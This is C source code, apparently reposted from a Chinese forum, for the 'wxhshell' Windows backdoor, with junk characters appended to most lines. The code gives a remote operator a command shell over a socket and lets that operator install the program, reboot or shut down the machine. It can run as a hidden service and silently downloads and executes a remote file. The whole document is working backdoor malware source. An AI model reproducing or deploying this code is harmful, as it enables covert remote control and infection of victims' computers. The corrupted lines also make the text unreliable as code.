w8ZHk?:  
    switch(cmd[0]) { Y>78h2AU  
  BYr_Lz|T  
  // 帮助 KB%j! ?  
  case '?': { 'XP>} m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +B`'P9Zk@  
    break; a9? v\hG  
  } &e HM#as  
  // 安装 KD%xo/Z.  
  case 'i': { {m_A1D/_  
    if(Install()) RWh9&O:6'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J3lG"Ww  
    else iL7-4Lv#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F= _uNq  
    break; Cz=A{< ^g  
    } |c 06ix;).  
  // 卸载 <4l.s  
  case 'r': { vB{; N  
    if(Uninstall()) .-('C> @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k7yv>iN  
    else }sTH.%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( E"&UC[  
    break; u@=+#q~/P  
    } Q*09 E  
  // 显示 wxhshell 所在路径 ;1*m} uNz  
  case 'p': { <K DH  
    char svExeFile[MAX_PATH]; Nl=m'4 @`  
    strcpy(svExeFile,"\n\r"); ]= ?X*,'  
      strcat(svExeFile,ExeFile); P S_3Oq)  
        send(wsh,svExeFile,strlen(svExeFile),0); gtaV6sD  
    break;  l5ZADK4  
    } 097Fvt=#  
  // 重启 #L@} .Giz  
  case 'b': { ^MWEfPt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [ 5CS}FB  
    if(Boot(REBOOT)) :"OZc7 ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gsds!z$  
    else { !q~X*ZKse  
    closesocket(wsh); 7gVh!rm  
    ExitThread(0); J^+_8  
    } #;\L,a|>*  
    break; p|&ZJ@3  
    } vHs>ba$"  
  // 关机 0%;N9\  
  case 'd': { Cbgj@4H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F:[7^GQZ{  
    if(Boot(SHUTDOWN)) ou<S)_|Iu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3o+KP[A  
    else { L?=#*4t  
    closesocket(wsh); {f`lSu  
    ExitThread(0); 7af?E)}v  
    } Qa,NGP.  
    break; @!z$Sp=  
    } 88Fb1!a5Z  
  // 获取shell cPA~eZbX  
  case 's': { yPf?"W  
    CmdShell(wsh); JDC=J(B  
    closesocket(wsh); nwa\Lrh  
    ExitThread(0); ;yk9(wea}"  
    break; @wd!&%yzO  
  } d u.HSXK  
  // 退出 C-s>1\I  
  case 'x': { 3+CSQb8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EpRXjz  
    CloseIt(wsh); /~H[= Pf  
    break; Zvd ;KGO(a  
    } r+imn&FK8  
  // 离开 52>[d3I3  
  case 'q': { 4mEzcwo'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $Nj'OJSj%  
    closesocket(wsh); @+}rEe_(  
    WSACleanup(); JfI aOhKs]  
    exit(1); .o-0aBG  
    break; C/mg46 v2W  
        } IV)^;i  
  } pY^pTWs(  
  } ]*bAF^8i  
X HWh'G9  
  // 提示信息 k-{yu8*';  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2-B6IPeI  
} ShC_hi  
  } #^5a\XJb  
:~\LOKf  
  return; Dl0/-=L  
} 4fu'QZ(}  
 5Waw?1GL  
// shell模块句柄 Wr]O  
int CmdShell(SOCKET sock) 8# 6\+R  
{ zt7_r`#z  
STARTUPINFO si; E"Zb};}  
ZeroMemory(&si,sizeof(si)); }*?yHJ3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lf5%M|o.)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [yO=S0 e  
PROCESS_INFORMATION ProcessInfo; uQeqnGp  
char cmdline[]="cmd"; RxlszyE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zw2jezP@t  
  return 0; gE\A9L~b  
} IM@"AD52a  
W;^Rx.W  
// 自身启动模式 U5|B9%:&  
int StartFromService(void) /m97CC#+  
{ `-~`<#E[  
typedef struct x}v1X`6b  
{ 4uFIpS|rq  
  DWORD ExitStatus; 3Z_t%J5QZ$  
  DWORD PebBaseAddress; $8jaapNm@  
  DWORD AffinityMask; d/l,C4p  
  DWORD BasePriority; r %+Bc Y  
  ULONG UniqueProcessId; uQ{=o]sy  
  ULONG InheritedFromUniqueProcessId; u@AI&[Z  
}   PROCESS_BASIC_INFORMATION; \BLp-B1s  
Bk&-1>cY  
PROCNTQSIP NtQueryInformationProcess; J cP~-cp  
7 rH'1U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0Xp nbB~~I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %_>Tcm=  
-oU@D  
  HANDLE             hProcess; Ynvj;  
  PROCESS_BASIC_INFORMATION pbi; | @uq()  
DYc.to-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y [4vRzc  
  if(NULL == hInst ) return 0; 4S'[\ZJO  
6 4?Pfir6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `+oV/:Q3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b2G2c L-(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g4Y) Bz  
#>BX/O*D  
  if (!NtQueryInformationProcess) return 0; $+7ci~gs  
X2i*iW<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YdK _.t0Mu  
  if(!hProcess) return 0; s\6N }[s  
p Z"o@';!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p=2zS.  
=D{B}=D\IM  
  CloseHandle(hProcess); Dh2#$[/@1  
nHnk#SAA u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P= e4lF.  
if(hProcess==NULL) return 0; /CH(!\bQ  
h iAxh Y  
HMODULE hMod; %Nl`~Kz9U  
char procName[255]; ]+mjOks~  
unsigned long cbNeeded; 3u*82s\8T  
j H(&oV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8}bZ [  
 -H`\? R  
  CloseHandle(hProcess); J6DnPaw-G  
X R4)z  
if(strstr(procName,"services")) return 1; // 以服务启动 I|Z/`9T  
Np$z%ewK.  
  return 0; // 注册表启动 6eM6[  
} k'g$2  
p<q].^M  
// 主模块 AfN&n= d K  
int StartWxhshell(LPSTR lpCmdLine) <8f(eP\*F  
{ u %'y_C3  
  SOCKET wsl;  U7E  
BOOL val=TRUE; o_sQQF  
  int port=0; .?B{GnB>  
  struct sockaddr_in door; l^ARW E  
wEE2a56L-  
  if(wscfg.ws_autoins) Install(); 6p#g0t  
EA6t36|TX  
port=atoi(lpCmdLine); +GYS26  
]Dh1~k.Kp  
if(port<=0) port=wscfg.ws_port; te)n{K",  
<.}Ua(  
  WSADATA data; H/^B.5RYE>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ssw&'B|o  
 +tIz[+u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nl { 7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V'j@K!)~xR  
  door.sin_family = AF_INET; JIMWMk;ot  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o*-9J2V=J  
  door.sin_port = htons(port); C-Ig_Nc  
  La9r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eHUg-\dy  
closesocket(wsl); 4#_$@ r  
return 1; Hng!'  
} 7D   
U-eI\Lu  
  if(listen(wsl,2) == INVALID_SOCKET) { 3?@?-q2g  
closesocket(wsl); 0Qp[\ia  
return 1; Fom>'g*  
} Z["BgEJ  
  Wxhshell(wsl); Pr`s0J%m  
  WSACleanup(); p-,Iio+  
S.W^7Ap  
return 0; mL$f[  
v77fQ0w3  
} S7CV w,2  
9_UN.]  
// 以NT服务方式启动 +bUW!$G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ljVIE/iq  
{ =e{.yggE  
DWORD   status = 0; nkRK +~>  
  DWORD   specificError = 0xfffffff; E?cZ bn*>`  
L<=)@7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (UGol[f<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vOe0}cR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =*O=E@]  
  serviceStatus.dwWin32ExitCode     = 0; f TO+ZTRqf  
  serviceStatus.dwServiceSpecificExitCode = 0; E M Q4yK  
  serviceStatus.dwCheckPoint       = 0; ZE rdt:w  
  serviceStatus.dwWaitHint       = 0; CU$)QH{  
#9\THfb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +I@cO&CY|  
  if (hServiceStatusHandle==0) return; {p]=++  
&\^rQi/tf  
status = GetLastError(); U-g9C.  
  if (status!=NO_ERROR) Xu6K%]i^  
{ 036[96t,F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3cixQzb}u  
    serviceStatus.dwCheckPoint       = 0; (sCAR=5v\  
    serviceStatus.dwWaitHint       = 0; 3;l"=#5  
    serviceStatus.dwWin32ExitCode     = status; Yb 6q))Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; W Y:s gG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6G}c1nWU  
    return; h55>{)(E  
  } K6B4sE  
8teJ*sz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n=o_1M|  
  serviceStatus.dwCheckPoint       = 0; Za%LAyT_s  
  serviceStatus.dwWaitHint       = 0; qjAh6Q/E`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *ik/p  
} .$0Pr%0pWI  
C ) ?uE'  
// 处理NT服务事件,比如:启动、停止 bi$VAYn.^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mxp Y&Y  
{ p411 `]Zf  
switch(fdwControl) jct./arK  
{ :Q7mV%%  
case SERVICE_CONTROL_STOP: 7@l<? (  
  serviceStatus.dwWin32ExitCode = 0; ="'- &  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PsbG|~  
  serviceStatus.dwCheckPoint   = 0; 2h q>T&8  
  serviceStatus.dwWaitHint     = 0; x8\<qh*:  
  { h e&V# #  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [l*;E f,  
  } mU@xc N  
  return; <lj\#'G3  
case SERVICE_CONTROL_PAUSE: R ]P;sk5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; si(cOCj/  
  break; ($>XIb9f  
case SERVICE_CONTROL_CONTINUE: [s}/nu~U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4pPI'd&/7  
  break; e_rzA  
case SERVICE_CONTROL_INTERROGATE: !ni>\lZ  
  break; ]JMl|e  
}; 6(KmA-!b(O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qyyq&  
} Im)EDTm$  
E\$C/}T  
// 标准应用程序主函数 Gx'TkU=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hO( RZ '{  
{ Hg+ F^2<y  
_|zBUrN  
// 获取操作系统版本 Lgi[u"Du  
OsIsNt=GetOsVer(); yZ3nRiuRT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Oy_c  
-^SA8y  
  // 从命令行安装 !p[`IWZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); zwr\:Hu4  
DWm SC}{.  
  // 下载执行文件 d,9`<1{9  
if(wscfg.ws_downexe) { XsL#;a C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]KuMz p!  
  WinExec(wscfg.ws_filenam,SW_HIDE); ! '0S0a8  
} >oJkJ$|wU  
Uyx&E?SlEq  
if(!OsIsNt) { n]N96oD  
// 如果时win9x,隐藏进程并且设置为注册表启动 qf8[!5GM  
HideProc(); '{[),*nCn  
StartWxhshell(lpCmdLine); %*W<vu>H  
} `xz&Scil  
else ^p=L\SJ  
  if(StartFromService()) M1!pQC_9  
  // 以服务方式启动 .p&Yr%~  
  StartServiceCtrlDispatcher(DispatchTable); ,1 UZv>}S  
else :&w{\-0{  
  // 普通方式启动 ^^Jnv{)  
  StartWxhshell(lpCmdLine); lE5v-z? &|  
I021p5h|  
return 0; ,)fkr]`<  
}
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只看该作者 1 发表于: 2006-10-10
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